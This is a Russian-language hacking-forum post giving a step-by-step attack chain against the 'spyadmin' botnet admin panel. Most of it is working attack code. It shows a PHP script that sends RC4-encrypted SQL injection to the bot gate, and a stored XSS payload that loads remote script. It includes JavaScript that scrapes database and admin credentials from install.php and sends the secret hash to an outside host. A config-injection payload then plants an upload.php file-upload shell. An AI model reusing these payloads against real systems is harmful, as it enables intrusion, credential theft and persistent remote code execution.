Бесплатно SQLi -> XSS -> shell upload на примере spyadmin

Musalini

Dublikat Friends
Подтвержденный
Регистрация
05.04.15
Сообщения
837
Реакции
1,180
Депозит
0
Покупок
1
Продаж
26
Не так давно мне попалась панелька очередного бота, сделанного на основе TeamViewer. Авторы сего чуда - spyadmin.com (они же vzlomov.com) уже давно в блеках, поэтому можем себе ломать сколько влезет (законом не запрещено и на 95% безопаснее, чем ловить покемонов в церкви).

Структура такая:



Если вкратце:

config.php - подключение к бд, настройки логина/пароля
getinfo.php - гейт для ботов
index.php - сама панель
install.php - редактирование настроек
lang.php - языки.
setcmd.php - отправка команд ботам.

В папках ничего особенного - стили, js, картинки.

SQL-инъекция

Для начала, было решено просмотреть код гейта. Как назло, практически все параметры фильтровались. Разработчик совершил только две ошибки:

Код:
$bot_uniq = $GET["uniq"]; // TV UNIQ
$bot_id = $GET["id"]; // TV ID

//Ошибка №1. Условие могло бы быть и чуть построже.
if(!isset($bot_id) || strlen($bot_id)<9) exit;

//И чуть ниже
if(!isset($bot_uniq))
{
$bot_uniq = $bot_id;
//Ошибка №2. Отсутствует фильтрация переменной $bot_uniq
$update_result = mysql_query('UPDATE `'.$cfg_tbl_name.'` SET bot_uniq = "'.$bot_uniq.' WHERE bot_id = "'.mysql_real_escape_string($bot_id).'"');
}
Но и этих двух ошибок хватило нам с лихвой. Выполнение SQL-инъекции немного затруднял тот факт, что все данные идущие в гейт должны были быть зашифрованы с помощью RC4.

В итоге я набросал небольшой скрипт для работы с SQL-инъекцией:

Код:
<?php
function rc4($key, $str){
$s = array();
for ($i = 0; $i < 256; $i++) {
$s[$i] = $i;
}
$j = 0;
for ($i = 0; $i < 256; $i++) {
$j = ($j + $s[$i] + ord($key[$i % strlen($key)])) % 256;
$x = $s[$i];
$s[$i] = $s[$j];
$s[$j] = $x;
}
$i = 0;
$j = 0;
$res = '';
for ($y = 0; $y < strlen($str); $y++) {
$i = ($i + 1) % 256;
$j = ($j + $s[$i]) % 256;
$x = $s[$i];
$s[$i] = $s[$j];
$s[$j] = $x;
$res .= $str[$y] ^ chr($s[($s[$i] + $s[$j]) % 256]);
}
return $res;
}

$spyadmin_domain="example.com";
$spyadmin_gate="http://".$spyadmin_domain."/getinfo.php";

//UPDATE `bot` SET bot_uniq = "'.%inject_here%.' WHERE bot_id = "'.mysql_real_escape_string($bot_id).'"
$sqlinject = "\" WHERE bot_id=-1 or SLEEP(10) #";

$request = "id=".$sqlinject."\nuname=123";
$data = strtr(base64_encode(rc4($spyadmin_domain, $request)), '+/=', '-_,');

$postdata = http_build_query(array('r' => $data,));

$opts = array('http' =>
array(
'method' => 'POST',
'header' => 'Content-type: application/x-www-form-urlencoded',
'content' => $postdata
)
);
$context = stream_context_create($opts);
$result = file_get_contents($spyadmin_gate, false, $context);

echo "\n[ Done! ]\n";
echo $result;
В принципе, можно было бы играть в угадайку и за пару часов получить все Bot ID. Пароль по умолчанию, для всех ботов был одинаковый. Но к счастью, была возможность изменять данные в БД, и поэтому был найден более короткий способ получения тотального контроля над админкой.

XSS

Почти как и в случае с SQLi, в панели (index.php) практически все переменные фильтровались. Исключение составляли лишь $bot_comment, $bot_username, $bot_compname (почему - непонятно). Немного меняем код в прошлом скрипте (чтобы вывести document.cookie):

Код:
$sqlinject = "\" , bot_comment='<script src=\"http://pastebin.com/raw/DMRtwJYq\"></script>' #";
Запускаем скрипт, заходим в админку:



Великолепно. По идее, остается только отправить куки на свой сниффер...
Но не тут то было:

Код:
$chk_cook = $_COOKIE["t_login"];
if($chk_cook!=md5($cfg_secret_hash.$_SERVER[REMOTE_ADDR]."tvrloginsalt"))
{
// Please login...
}
Есть привязка к IP, а значит, просто куки воровать смысла нет. Необходимо получить значение переменной $cfg_secret_hash, которая лежит в файле config.php. И которую можно изменить с помощью файла install.php.

Воруем значение переменной из install.php с помощью такого кодеса:

Код:
var xhttp;
if (window.XMLHttpRequest) {
xhttp = new XMLHttpRequest();
} else {
// code for IE6, IE5
xhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
var stringer = document.createElement('div');

xhttp.open("GET", "install.php", false);
xhttp.send();
var stringer = xhttp.responseText;
var res = stringer.match(/name="hashadm" class="txt" value="(.*?)"/);

// Для теста
//alert(res[1]);

// Чтобы украсть
new Image().src = 'lebron.james
Пихаем все это на pastebin, и скармливаем с помощью SQLi админке.

Как только администратор ботнета зайдет в панель, нам придет секретный хеш. И теперь у нас есть все, чтобы зайти в админку - генерируем хеш, подставляем его в куку to_login и заходим.

Shell Upload

Еще раз обращаем внимание на install.php. Код там просто потрясающий:

Код:
$locationdb = $_POST["locationdb"];
$logindb = $_POST["logindb"];
$passdb = $_POST["passdb"];
$namedb = $_POST["namedb"];
$nametbldb = $_POST["nametbldb"];
$loginadm = $_POST["loginadm"];
$passadm = $_POST["passadm"];
$hashadm = $_POST["hashadm"];
$mytimezone = $_POST["timezone"];

// ... немного кода...

$file = 'config.php';
unlink($_SERVER['DOCUMENT_ROOT'].'/config.php');
$writecfg = "<?php\r\n";
$writecfg .= "\t\$cfg_admin_login\t= '".$loginadm."'; // admin panel login\r\n";
$writecfg .= "\t\$cfg_admin_passwd\t= '".$passadm."'; // admin panel password\r\n";
$writecfg .= "\t\$cfg_secret_hash\t= '".$hashadm."'; // admin panel secret hash\r\n";
$writecfg .= "\r\n";
$writecfg .= "\t\$cfg_localhost\t\t= '".$locationdb."'; // MySQL location\r\n";
$writecfg .= "\t\$cfg_username\t\t= '".$logindb."'; // MySQL login\r\n";
$writecfg .= "\t\$cfg_passwd\t\t\t= '".$passdb."'; // MySQL password\r\n";
$writecfg .= "\t\$cfg_bd_name\t\t= '".$namedb."'; // MySQL BD name\r\n";
$writecfg .= "\t\$cfg_tbl_name\t\t= '".$nametbldb."'; // MySQL table name\r\n";
$writecfg .= "\r\n";
$writecfg .= "\t\$cfg_time\t\t\t= '".$mytimezone."'; // TimeZone\r\n";
$writecfg .= "?>";
file_put_contents($file, $writecfg, LOCK_EX);
Мы редактируем конфиг:



В любое поле, после обычного значения, добавляем:

Код:
';file_put_contents('upload.php','<form method=post enctype=multipart/form-data><input type=file name=f><input type=submit></form><?php if(is_uploaded_file($_FILES[f][tmp_name])){ move_uploaded_file($_FILES[f][tmp_name], $_FILES[f][name]);}?>'); $a='
Сохраняем. Переходим по адресу upload.php и спокойно заливаем шелл.

Все вместе

Теперь мы соединим все вместе: с помощью SQL-инъекции внедряем XSS, потом крадем данные со страницы install.php и заливаем шелл.

Заливаем этот js-код на какой-нибудь шелл:

Код:
var xhttp;
if (window.XMLHttpRequest) {
xhttp = new XMLHttpRequest();
} else {
// code for IE6, IE5
xhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
var stringer = document.createElement('div');

xhttp.open("GET", "install.php", false);
xhttp.send();
var stringer = xhttp.responseText;

var res = stringer.match(/name="locationdb" class="txt" value="(.*?)"/);
locationdb = res[1];

var res = stringer.match(/name="logindb" class="txt" value="(.*?)"/);
logindb = res[1];

var res = stringer.match(/name="passdb" class="txt" value="(.*?)"/);
passdb = res[1];

var res = stringer.match(/name="namedb" class="txt" value="(.*?)"/);
namedb = res[1];

var res = stringer.match(/name="nametbldb" class="txt" value="(.*?)"/);
nametbldb = res[1];

var res = stringer.match(/name="loginadm" class="txt" value="(.*?)"/);
loginadm = res[1];

var res = stringer.match(/name="passadm" class="txt" value="(.*?)"/);
passadm = res[1];
passadm = passadm + "';file_put_contents('upload.php','<form method=post enctype=multipart/form-data><input type=file name=f><input type=submit></form><?php if(is_uploaded_file($_FILES[f][tmp_name])){ move_uploaded_file($_FILES[f][tmp_name], $_FILES[f][name]);}?>'); $a='";

var res = stringer.match(/name="hashadm" class="txt" value="(.*?)"/);
hashadm = res[1];

xhttp.open("POST", "install.php", false);
xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhttp.send("install=1&locationdb="+ locationdb +"&logindb=" + logindb +"&passdb="+ encodeURIComponent(passdb)+"&namedb="+ namedb +"&nametbldb="+ nametbldb +"&loginadm="+ loginadm +"&passadm="+ encodeURIComponent(passadm) +"&hashadm="+ hashadm+"&timezone=Europe%2FMoscow");
И внедряем его ранее описанным методом. Стоит заметить, что не надо выбирать для хранения сайты с самоподписанными сертификатами или крупные сервисы, типа pastebin - в обоих случаях код может просто не сработать. Как только ботовод зайдет на страничку, в корне будет лежать заливка файлов. При желании можно изменить код, и сразу лить шелл.

Я даже не упомянул о корявой LFI, нескольких CSRF и прочих мелочах, как мне кажется, вышеописанного и так достаточно. Вот так, легко и просто, можно попасть в админку бота, который продавался (и все еще продается) за 500$. Или, если посмотреть с другой стороны, за свои же деньги можно прикупить себе соседа - кидалу, мента, кребса. Я заранее соглашусь, что шанс такого расклада невелик, но зачем лишние риски?

Есть ли у Вас уверенность в том, что софт который вы используете сейчас, более защищен, чем spyadmin?
© Lebro
 
Сверху Снизу